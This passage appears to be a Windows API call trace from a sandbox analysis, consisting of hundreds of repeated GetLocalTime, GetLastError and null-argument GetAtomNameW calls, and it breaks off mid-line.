[0100.895] GetLastError () returned 0x0 [0100.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.895] GetLastError () returned 0x0 [0100.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.895] GetLastError () returned 0x0 [0100.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.895] GetLastError () returned 0x0 [0100.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.895] GetLastError () returned 0x0 [0100.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.895] GetLastError () returned 0x0 [0100.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.895] GetLastError () returned 0x0 [0100.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.895] GetLastError () returned 0x0 [0100.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.895] GetLastError () returned 0x0 [0100.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.895] GetLastError () returned 0x0 [0100.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.895] GetLastError () returned 0x0 [0100.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.896] GetLastError () returned 0x0 [0100.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.896] GetLastError () returned 0x0 [0100.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.896] GetLastError () returned 0x0 [0100.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.896] GetLastError () returned 0x0 [0100.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.896] GetLastError () returned 0x0 [0100.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.896] GetLastError () returned 0x0 [0100.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.896] GetLastError () returned 0x0 [0100.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.896] GetLastError () returned 0x0 [0100.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.896] GetLastError () returned 0x0 [0100.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.896] GetLastError () returned 0x0 [0100.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.896] GetLastError () returned 0x0 [0100.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.896] GetLastError () returned 0x0 [0100.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.896] GetLastError () returned 0x0 [0100.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.896] GetLastError () returned 0x0 [0100.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.896] GetLastError () returned 0x0 [0100.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.896] GetLastError () returned 0x0 [0100.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.896] GetLastError () returned 0x0 [0100.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.896] GetLastError () returned 0x0 [0100.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.896] GetLastError () returned 0x0 [0100.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.896] GetLastError () returned 0x0 [0100.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.896] GetLastError () returned 0x0 [0100.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.897] GetLastError () returned 0x0 [0100.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.897] GetLastError () returned 0x0 [0100.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.897] GetLastError () returned 0x0 [0100.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.897] GetLastError () returned 0x0 [0100.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.897] GetLastError () returned 0x0 [0100.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.897] GetLastError () returned 0x0 [0100.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.897] GetLastError () returned 0x0 [0100.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.897] GetLastError () returned 0x0 [0100.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.897] GetLastError () returned 0x0 [0100.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.897] GetLastError () returned 0x0 [0100.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.897] GetLastError () returned 0x0 [0100.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.897] GetLastError () returned 0x0 [0100.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.897] GetLastError () returned 0x0 [0100.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.897] GetLastError () returned 0x0 [0100.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.897] GetLastError () returned 0x0 [0100.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.897] GetLastError () returned 0x0 [0100.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.897] GetLastError () returned 0x0 [0100.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.897] GetLastError () returned 0x0 [0100.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.897] GetLastError () returned 0x0 [0100.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.897] GetLastError () returned 0x0 [0100.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.897] GetLastError () returned 0x0 [0100.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.898] GetLastError () returned 0x0 [0100.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.898] GetLastError () returned 0x0 [0100.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.898] GetLastError () returned 0x0 [0100.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.898] GetLastError () returned 0x0 [0100.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.898] GetLastError () returned 0x0 [0100.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.898] GetLastError () returned 0x0 [0100.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.898] GetLastError () returned 0x0 [0100.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.898] GetLastError () returned 0x0 [0100.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.898] GetLastError () returned 0x0 [0100.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.898] GetLastError () returned 0x0 [0100.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.898] GetLastError () returned 0x0 [0100.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.898] GetLastError () returned 0x0 [0100.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.898] GetLastError () returned 0x0 [0100.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.898] GetLastError () returned 0x0 [0100.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.898] GetLastError () returned 0x0 [0100.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.898] GetLastError () returned 0x0 [0100.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.898] GetLastError () returned 0x0 [0100.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.898] GetLastError () returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] 